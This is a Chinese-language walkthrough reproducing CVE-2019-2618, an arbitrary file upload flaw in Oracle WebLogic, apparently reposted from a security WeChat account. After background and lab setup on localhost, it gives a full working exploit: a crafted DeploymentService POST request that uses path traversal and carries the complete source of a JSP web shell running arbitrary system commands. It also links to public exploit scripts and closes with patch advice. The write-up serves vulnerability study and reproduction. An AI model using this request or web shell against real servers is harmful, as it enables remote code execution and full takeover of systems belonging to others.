WebLogic组件介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
漏洞分析
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
影响范围
目前据统计,在全球范围内对互联网开放WebLogic的资产数量多达35,894台,其中归属中国地区的受影响资产数量为1万以上。
目前受影响的WebLogic版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
环境搭建:
1.weblogic12.2.1.3.0安装
下载地址:https://www.oracle.com/technetwo ... ownloads/index.html
开始安装:(需要java环境支持,记得配置JAVA环境变量)
2.打开cmd执行:
C:Progra~1Javajdk1.8.0_121binjava -jar fmw_12.2.1.3.0_wls.jar
用 C:Program FilesJavajdk1.8.0_121bin 目录下的 java.exe 来执行weblogic12c的jar包(默认使用顺序,似乎首先用的是C:Program FilesJavajdk1.8.0_121jrebin下的java.exe,所以会包jre不是有效的JDK),所以在cmd里要输入C:Progra~1Javajdk1.8.0_121binjava -jar fmw_12.1.3.0.0_wls.jar(这里之所以要用Progra~1 来代替Program Files是因为有 空格 会识别错误)
3.等待一会会弹出安装程序:
4.安装完成后会出现配置向导(有一项是配置weblogic的账户和密码的,要记住这个账号和密码。复现会用到)
5.配置完成后,找到startWebLogic.cmd双击启动weblodgic
6.访问http://127.0.0.1:7001/console验证
复现:
1.访问http://127.0.0.1:7001/console,利用burpsuit抓包。将数据包修改为poc:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: keep-alive
username: weblogic
password: Asd123456
wl_request_type: app_upload
wl_upload_application_name: \..\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
wl_upload_delta: true
archive: true
serverName: pyn3rd
server_version: 10.3.6.0
Content-Type: multipart/form-data; boundary=-------------------------55365303813990412251182616919
Content-Length: 1130
-----------------------------55365303813990412251182616919
Content-Disposition: form-data; name="img"; filename="shell11.jsp"
Content-Type: application/octet-stream
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
-----------------------------55365303813990412251182616919--
2.发送到Repeater,将需要修改的地方改掉.点击go。可以看到成功上传,并显示了路径。
3.我们可以直接通过访问:
http://127.0.0.1:7001/bea_wls_internal/shell11.jsp 来访问我们上传的文件。
我们上传的文件是一个简单的执行系统命令的文件。可以更改POC中shell11.jsp的内容来上传不同的文件。
4.附一个github上的py脚本:
https://github.com/jas502n/cve-2019-2618
脚本使用:
修复建议:
Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞
相关链接:
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
请受影响用户及时下载,Oracle官方补丁需要用户持有正版软件的许可账号,登陆https://support.oracle.com后,可以下载最新补丁。
参考链接:
https://github.com/pyn3rd/CVE-2019-2618
https://github.com/jas502n/cve-2019-2618
本文始发于微信公众号(T00ls):WebLogic任意文件上传漏洞(CVE-2019-2618)复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论